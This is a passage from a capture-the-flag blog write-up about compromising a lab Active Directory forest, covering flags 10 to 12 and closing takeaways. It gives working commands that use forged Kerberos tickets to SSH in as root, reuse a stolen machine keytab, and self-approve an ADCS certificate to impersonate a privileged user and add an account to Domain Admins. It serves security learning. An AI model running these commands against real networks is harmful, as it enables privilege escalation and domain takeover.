When it normalised <code class="language-plaintext highlighter-rouge">root$@DARSHAN.LAB</code>, it resolved to the local user <code class="language-plaintext highlighter-rouge">root</code>.
SSH’s GSSAPI authentication accepts a Kerberos ticket instead of a password.
A valid ticket for <code class="language-plaintext highlighter-rouge">root$</code> was therefore a login as Linux root — no shell exploit,
no password.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>getTGT.py <span class="s1">'DARSHAN.LAB/root$:&lt;password&gt;'</span> <span class="nt">-dc-ip</span> &lt;dc&gt;
<span class="nv">KRB5CCNAME</span><span class="o">=</span>root<span class="nv">$.</span>ccache ssh <span class="nt">-o</span> <span class="nv">GSSAPIAuthentication</span><span class="o">=</span><span class="nb">yes</span> <span class="se">\</span>
  <span class="nt">-o</span> <span class="nv">GSSAPIServerIdentity</span><span class="o">=</span>ORAZUR.darshan.lab root@&lt;orazur&gt;
<span class="nb">cat</span> /root/flag10.txt
</code></pre></div></div>

<p>Flag 10 — <code class="language-plaintext highlighter-rouge">adctf{69a026...}</code> ✓</p>

<hr />

<h2 id="11--the-keytab-that-was-already-there-flag-11">11 — The keytab that was already there (Flag 11)</h2>

<p>A domain-joined Linux server needs long-term Kerberos keys so services can
authenticate after a reboot. They live in <code class="language-plaintext highlighter-rouge">/etc/krb5.keytab</code>. Root could read them.</p>

<p>The keytab had current AES keys for the real <code class="language-plaintext highlighter-rouge">ORAZUR$</code> computer account.
I used them to get a fresh ticket and connected to DARSHANIDE over SMB.
The <code class="language-plaintext highlighter-rouge">ORAZUR$</code> share was accessible to that machine account.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kinit <span class="nt">-k</span> <span class="nt">-t</span> orazur.keytab <span class="s1">'ORAZUR$@DARSHAN.LAB'</span>
smbclient.py <span class="nt">-k</span> <span class="nt">-no-pass</span> <span class="s1">'darshan.lab/ORAZUR$@darshanide.darshan.lab'</span>
<span class="c"># use ORAZUR$ ; get flag11.txt</span>
</code></pre></div></div>

<p>Flag 11 — <code class="language-plaintext highlighter-rouge">adctf{ff0c3c...}</code> ✓</p>

<hr />

<h2 id="12--approving-your-own-certificate-request-flag-12">12 — Approving your own certificate request (Flag 12)</h2>

<p>The last flag sat on DARSHAN’s DC. To get there I needed Domain Admin access in DARSHAN.</p>

<p>The path was through ADCS. The <code class="language-plaintext highlighter-rouge">DarshanLogin</code> template let the requester choose the
certificate subject — but every request went into a pending queue waiting for a
certificate officer to approve it. That sounds like a dead end.</p>

<p>Until you check who had officer rights: <code class="language-plaintext highlighter-rouge">ORAZUR$</code> itself.</p>

<p>I submitted a pending request naming the privileged user <code class="language-plaintext highlighter-rouge">thanos</code>, then authenticated
as <code class="language-plaintext highlighter-rouge">ORAZUR$</code> and approved my own request.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Submit pending request for thanos</span>
certipy_ecdsa.py req ... <span class="nt">-ca</span> DARSHAN-CA <span class="nt">-template</span> DarshanLogin <span class="nt">-upn</span> <span class="s1">'thanos@darshan.lab'</span>

<span class="c"># Approve it as ORAZUR$</span>
certipy-ad ca ... <span class="nt">-ca</span> DARSHAN-CA <span class="nt">-issue-request</span> 10

<span class="c"># Authenticate as thanos</span>
certipy-ad auth <span class="nt">-pfx</span> thanos.pfx <span class="nt">-dc-ip</span> &lt;dc&gt; <span class="nt">-domain</span> darshan.lab <span class="nt">-ldap-shell</span>
</code></pre></div></div>

<p>One wrinkle: the domain controller rejected ECDSA pre-auth data in Kerberos.
The certificate was still valid for TLS client authentication, so I used Schannel
to authenticate directly to LDAP — bypassed the Kerberos path entirely.</p>

<p>From the LDAP shell I added <code class="language-plaintext highlighter-rouge">ORAZUR$</code> to Domain Admins temporarily, grabbed Flag 12,
then removed it immediately.</p>

<p>Flag 12 — <code class="language-plaintext highlighter-rouge">adctf{09c599...}</code> ✓</p>

<hr />

<h2 id="what-made-this-lab-interesting">What made this lab interesting</h2>

<p>Every control was real but narrow. Disabling NTLM and RC4 closed the obvious path but
left certificates and modern AES tickets as the supported alternative.
WDAC blocked unsigned code but trusted the enterprise CA — which I could reach.
Certificate approval stopped a direct request until I found who the officer was.
The gMSA password wasn’t directly accessible, but the mechanism that let Task Scheduler
<em>use</em> it without a password was working as designed.</p>

<p>The chain worked not by breaking these controls but by reading each one carefully
enough to find what it still trusted.</p>

<p><strong>The best clue in the lab was a dead DNS name in a dispatch note.</strong>
Everything else followed from knowing where to look.</p>

<hr />

<h2 id="takeaways">Takeaways</h2>

<ul>
  <li>A 403 from the <em>proxy</em> means the application never had an opinion — the block lives in one
tier, the content in another. Look for path spellings the edge doesn’t recognise.</li>
  <li>NTLM disabled means certificates matter more, not that authentication is harder.
Find where the PKI trusts too broadly.</li>
  <li>A managed service account’s password is intentionally opaque — but Task Scheduler’s
<code class="language-plaintext highlighter-rouge">ServiceAccount</code> logon type is designed to use it without it ever being exposed.</li>
  <li><code class="language-plaintext highlighter-rouge">GenericWrite</code> on a GPO is privilege escalation waiting to be activated. A GPO with
no <code class="language-plaintext highlighter-rouge">gPLink</code> is inert — check SYSVOL for content that’s already there before writing
new tasks. The gap is scope, not content: one attribute write links it to a site and
everything the policy targets applies the action on next refresh (~90 s default).</li>
  <li>Shadow credentials don’t escalate by themselves — they refresh a Kerberos ticket’s PAC.
If group membership changed after the last ticket was issued, the old ticket still shows
the old membership. Delete it and re-authenticate to pick up the new PAC.</li>
  <li>Forest trust secrets are credentials. DCSync doesn’t only give you user hashes —
it gives you the key that unlocks a completely separate domain.</li>
  <li>GSSAPI SSH authentication accepts Kerberos tickets. If a Linux host normalises
machine-principal names to local Unix accounts, a computer account named <code class="language-plaintext highlighter-rouge">root$</code>
is a login as root.</li>
  <li>Self-approval of certificate requests is possible when the requester and the officer
are the same account. Check who holds Manage Certificates on each CA.</li>
</ul>]]></content><author><name>ellell</name></author><category term="active-directory" /><category term="adcs" /><category term="kerberos" /><category term="forest-trust" /><category term="dpapi" /><category term="wdac" /><category term="gmsa" /><category term="shadow-credentials" /><summary type="html"><![CDATA[From a PDF form to two forests. A customs declaration form. That’s where this started. By the end I was root on a Linux box in a second Active Directory forest I’d never directly touched. In between: a certificate buried in a config file, a DNS record nobody remembered to delete, a Windows update server I impersonated, a signed maintenance script, a dormant GPO linked to the wrong site, a decoded trust secret, and a Kerberos ticket that let me SSH as root. Every step handed me the next one. That’s what good AD labs do. Spoilers ahead — commands, credentials and partial flags included so you can follow the chain.]]></summary></entry></feed>